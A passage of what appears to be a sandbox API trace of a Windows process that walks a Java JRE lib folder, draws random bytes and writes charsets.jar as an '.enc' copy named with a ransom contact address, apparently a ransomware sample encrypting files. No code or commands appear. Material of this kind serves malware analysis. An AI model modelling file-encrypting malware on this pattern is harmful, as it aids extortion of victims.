cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0125.366] GetLastError () returned 0x0 [0125.366] GetLastError () returned 0x0 [0125.366] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x19c1c, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="tzdb.dat", cAlternateFileName="")) returned 1 [0125.366] GetLastError () returned 0x0 [0125.366] GetLastError () returned 0x0 [0125.366] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 1 [0125.366] GetLastError () returned 0x0 [0125.366] GetLastError () returned 0x0 [0125.367] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 0 [0125.367] GetLastError () returned 0x12 [0125.367] GetLastError () returned 0x12 [0125.367] GetLastError () returned 0x12 [0125.367] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0125.368] GetLastError () returned 0x12 [0125.368] GetLastError () returned 0x12 [0125.368] GetLastError () returned 0x12 [0125.368] GetLastError () returned 0x12 [0125.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0125.368] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20 [0125.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887770 | out: hHeap=0x2ad0000) returned 1 [0125.371] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0125.371] GetLastError () returned 0x12 [0125.371] GetLastError () returned 0x12 [0125.371] GetLastError () returned 0x12 [0125.371] GetLastError () returned 0x12 [0125.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0125.371] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64")) returned 0x10 [0125.371] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0125.371] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0125.372] GetLastError () returned 0x12 [0125.372] GetLastError () returned 0x12 [0125.372] GetLastError () returned 0x12 [0125.372] GetLastError () returned 0x12 [0125.372] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.372] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\applet" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\applet")) returned 0x10 [0125.373] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0125.373] GetLastError () returned 0x12 [0125.373] GetLastError () returned 0x12 [0125.373] GetLastError () returned 0x12 [0125.373] GetLastError () returned 0x12 [0125.373] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0125.373] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 0x20 [0125.374] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0125.374] GetLastError () returned 0x12 [0125.374] GetLastError () returned 0x12 [0125.374] GetLastError () returned 0x12 [0125.374] GetLastError () returned 0x12 [0125.374] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0125.374] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20 [0125.374] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a528 | out: hHeap=0x2ad0000) returned 1 [0125.375] GetLastError () returned 0x12 [0125.375] GetLastError () returned 0x12 [0125.375] GetLastError () returned 0x12 [0125.375] GetLastError () returned 0x12 [0125.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0125.375] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20 [0125.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a428 | out: hHeap=0x2ad0000) returned 1 [0125.375] GetLastError () returned 0x12 [0125.375] GetLastError () returned 0x12 [0125.375] GetLastError () returned 0x12 [0125.376] GetLastError () returned 0x12 [0125.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0125.376] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm")) returned 0x10 [0125.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.376] GetLastError () returned 0x12 [0125.377] GetLastError () returned 0x12 [0125.377] GetLastError () returned 0x12 [0125.377] GetLastError () returned 0x12 [0125.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0125.377] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20 [0125.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887890 | out: hHeap=0x2ad0000) returned 1 [0125.377] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881270, Size=0x20) returned 0x35c5eb0 [0125.377] GetLastError () returned 0x12 [0125.378] GetLastError () returned 0x12 [0125.378] GetLastError () returned 0x12 [0125.378] GetLastError () returned 0x12 [0125.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0125.378] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20 [0125.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0125.378] GetLastError () returned 0x12 [0125.378] GetLastError () returned 0x12 [0125.378] GetLastError () returned 0x12 [0125.378] GetLastError () returned 0x12 [0125.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0125.379] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy")) returned 0x10 [0125.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0125.379] GetLastError () returned 0x12 [0125.379] GetLastError () returned 0x12 [0125.379] GetLastError () returned 0x12 [0125.379] GetLastError () returned 0x12 [0125.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.379] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20 [0125.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0125.380] GetLastError () returned 0x12 [0125.380] GetLastError () returned 0x12 [0125.380] GetLastError () returned 0x12 [0125.380] GetLastError () returned 0x12 [0125.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0125.381] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext")) returned 0x10 [0125.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0125.381] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881180, Size=0x20) returned 0x35c5ed8 [0125.382] GetLastError () returned 0x12 [0125.382] GetLastError () returned 0x12 [0125.382] GetLastError () returned 0x12 [0125.382] GetLastError () returned 0x12 [0125.382] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0125.382] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20 [0125.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0125.383] GetLastError () returned 0x12 [0125.383] GetLastError () returned 0x12 [0125.383] GetLastError () returned 0x12 [0125.383] GetLastError () returned 0x12 [0125.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.383] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc")) returned 0x20 [0125.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0125.383] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5eb0, Size=0x40) returned 0x3887530 [0125.383] GetLastError () returned 0x12 [0125.384] GetLastError () returned 0x12 [0125.384] GetLastError () returned 0x12 [0125.384] GetLastError () returned 0x12 [0125.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0125.384] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 0x20 [0125.384] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db850 | out: hHeap=0x2ad0000) returned 1 [0125.384] GetLastError () returned 0x12 [0125.384] GetLastError () returned 0x12 [0125.384] GetLastError () returned 0x12 [0125.385] GetLastError () returned 0x12 [0125.385] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0125.385] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts")) returned 0x10 [0125.385] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0125.385] GetLastError () returned 0x12 [0125.386] GetLastError () returned 0x12 [0125.386] GetLastError () returned 0x12 [0125.386] GetLastError () returned 0x12 [0125.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.386] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20 [0125.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a24b8 | out: hHeap=0x2ad0000) returned 1 [0125.387] GetLastError () returned 0x12 [0125.387] GetLastError () returned 0x12 [0125.387] GetLastError () returned 0x12 [0125.387] GetLastError () returned 0x12 [0125.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.387] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images")) returned 0x10 [0125.387] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0125.388] GetLastError () returned 0x12 [0125.388] GetLastError () returned 0x12 [0125.388] GetLastError () returned 0x12 [0125.388] GetLastError () returned 0x12 [0125.388] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0125.388] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties")) returned 0x20 [0125.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0125.389] GetLastError () returned 0x12 [0125.389] GetLastError () returned 0x12 [0125.389] GetLastError () returned 0x12 [0125.389] GetLastError () returned 0x12 [0125.389] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javaws.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javaws.jar")) returned 0x20 [0125.390] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20 [0125.390] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr")) returned 0x10 [0125.391] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20 [0125.391] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20 [0125.392] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20 [0125.392] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 0x20 [0125.392] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 0x20 [0125.392] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management")) returned 0x10 [0125.393] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 0x20 [0125.394] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\meta-index")) returned 0x20 [0125.394] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20 [0125.394] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0x20 [0125.395] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20 [0125.395] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20 [0125.396] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\resources.jar")) returned 0x20 [0125.396] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0x20 [0125.396] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security")) returned 0x10 [0125.396] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 0x20 [0125.397] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0x20 [0125.397] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20 [0125.398] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties", lpFilePart=0x9bada4*="accessibility.properties") returned 0x3f [0125.398] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties", lpFilePart=0x9bada4*="calendars.properties") returned 0x3b [0125.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0125.398] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar", lpFilePart=0x9bada4*="charsets.jar") returned 0x33 [0125.398] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa7bbd53, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xaa7bbd53, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e56fa)) returned 1 [0125.398] GetLastError () returned 0x0 [0125.398] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36641c4 | out: pbBuffer=0x36641c4) returned 1 [0125.399] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0125.399] GetFileType (hFile=0x39c) returned 0x1 [0125.399] GetFileType (hFile=0x39c) returned 0x1 [0125.399] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.399] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.399] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.399] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.399] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.400] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.400] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.400] GetLastError () returned 0x0 [0125.400] GetCurrentThreadId () returned 0x9b0 [0125.400] GetLastError () returned 0x0 [0125.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265318 | out: hHeap=0x2ad0000) returned 1 [0125.400] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0125.400] GetLastError () returned 0x0 [0125.400] GetLastError () returned 0x0 [0125.400] GetLastError () returned 0x0 [0125.400] GetLastError () returned 0x0 [0125.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0125.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265308 [0125.401] GetLastError () returned 0x0 [0125.401] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0125.401] GetFileType (hFile=0x3ac) returned 0x1 [0125.401] GetLastError () returned 0x0 [0125.401] GetCurrentThreadId () returned 0x9b0 [0125.401] GetLastError () returned 0x0 [0125.402] GetFileType (hFile=0x3ac) returned 0x1 [0125.402] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.402] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.402] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.402] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.402] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.402] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.402] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.402] GetLastError () returned 0x0 [0125.402] GetCurrentThreadId () returned 0x9b0 [0125.402] GetLastError () returned 0x0 [0125.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265308 | out: hHeap=0x2ad0000) returned 1 [0125.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa29d8 | out: hHeap=0x2ad0000) returned 1 [0125.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0125.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0125.403] GetLastError () returned 0x0 [0125.403] GetLastError () returned 0x0 [0125.403] GetCurrentThreadId () returned 0x9b0 [0125.403] GetLastError () returned 0x0 [0125.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.403] GetLastError () returned 0x0 [0125.403] GetLastError () returned 0x0 [0125.403] GetCurrentThreadId () returned 0x9b0 [0125.404] GetLastError () returned 0x0 [0125.404] GetLastError () returned 0x0 [0125.406] GetLastError () returned 0x0 [0125.406] GetCurrentThreadId () returned 0x9b0 [0125.406] GetLastError () returned 0x0 [0125.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0125.407] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.407] GetCurrentThreadId () returned 0x9b0 [0125.407] GetLastError () returned 0x0 [0125.407] GetLastError () returned 0x0 [0125.407] GetLastError () returned 0x0 [0125.408] GetLastError () returned 0x0 [0125.408] GetCurrentThreadId () returned 0x9b0 [0125.408] GetLastError () returned 0x0 [0125.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.408] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0125.408] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.408] GetLastError () returned 0x0 [0125.410] GetLastError () returned 0x0 [0125.410] GetCurrentThreadId () returned 0x9b0 [0125.410] GetLastError () returned 0x0 [0125.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.411] GetLastError () returned 0x0 [0125.411] GetLastError () returned 0x0 [0125.412] GetCurrentThreadId () returned 0x9b0 [0125.412] GetLastError () returned 0x0 [0125.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265298 [0125.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265398 | out: hHeap=0x2ad0000) returned 1 [0125.412] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.412] GetLastError () returned 0x0 [0125.412] GetLastError () returned 0x0 [0125.413] GetLastError () returned 0x0 [0125.413] GetLastError () returned 0x0 [0125.413] GetCurrentThreadId () returned 0x9b0 [0125.413] GetLastError () returned 0x0 [0125.413] GetCurrentThreadId () returned 0x9b0 [0125.413] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0125.413] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: 